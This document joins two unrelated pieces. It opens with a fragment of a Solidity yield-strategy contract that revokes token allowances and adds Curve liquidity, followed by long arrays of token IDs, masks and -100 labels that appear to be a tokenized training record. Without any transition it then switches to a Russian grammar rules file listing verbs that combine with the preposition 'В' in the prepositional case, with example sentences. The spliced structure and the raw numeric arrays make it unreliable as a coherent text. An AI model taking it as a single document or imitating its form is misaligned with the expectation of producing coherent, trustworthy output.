IERC20Upgradeable(want).safeDecreaseAllowance(
rewardsGauge,
IERC20Upgradeable(want).allowance(address(this), rewardsGauge)
);
IERC20Upgradeable(CRV).safeDecreaseAllowance(
SPOOKY_ROUTER,
IERC20Upgradeable(CRV).allowance(address(this), SPOOKY_ROUTER)
);
IERC20Upgradeable(GEIST).safeDecreaseAllowance(
SPOOKY_ROUTER,
IERC20Upgradeable(GEIST).allowance(address(this), SPOOKY_ROUTER)
);
IERC20Upgradeable(WFTM).safeDecreaseAllowance(
SPOOKY_ROUTER,
IERC20Upgradeable(WFTM).allowance(address(this), SPOOKY_ROUTER)
);
IERC20Upgradeable(depositToken).safeDecreaseAllowance(
swapPool,
IERC20Upgradeable(depositToken).allowance(address(this), swapPool)
);
}
}
|
* @dev Core harvest function. Adds more liquidity using {depositToken}/
|
function _addLiquidity() internal {
uint256 wftmBal = IERC20Upgradeable(WFTM).balanceOf(address(this));
_swap(wftmBal, wftmToDepositPath);
uint256 depositBalance = IERC20Upgradeable(depositToken).balanceOf(
address(this)
);
if (depositBalance != 0) {
uint256[3] memory amounts;
amounts[depositIndex] = depositBalance;
ICurveSwap3(swapPool).add_liquidity(amounts, 0, true);
}
}
| 6,414,396 |
[
1,
4670,
17895,
26923,
445,
18,
15605,
1898,
4501,
372,
24237,
1450,
288,
323,
1724,
1345,
4004,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
1289,
48,
18988,
24237,
1435,
2713,
288,
203,
3639,
2254,
5034,
341,
1222,
81,
38,
287,
273,
467,
654,
39,
3462,
10784,
429,
12,
59,
4464,
49,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
389,
22270,
12,
91,
1222,
81,
38,
287,
16,
341,
1222,
81,
774,
758,
1724,
743,
1769,
203,
203,
3639,
2254,
5034,
443,
1724,
13937,
273,
467,
654,
39,
3462,
10784,
429,
12,
323,
1724,
1345,
2934,
12296,
951,
12,
203,
5411,
1758,
12,
2211,
13,
203,
3639,
11272,
203,
203,
3639,
309,
261,
323,
1724,
13937,
480,
374,
13,
288,
203,
5411,
2254,
5034,
63,
23,
65,
3778,
30980,
31,
203,
5411,
30980,
63,
323,
1724,
1016,
65,
273,
443,
1724,
13937,
31,
203,
5411,
467,
9423,
12521,
23,
12,
22270,
2864,
2934,
1289,
67,
549,
372,
24237,
12,
8949,
87,
16,
374,
16,
638,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
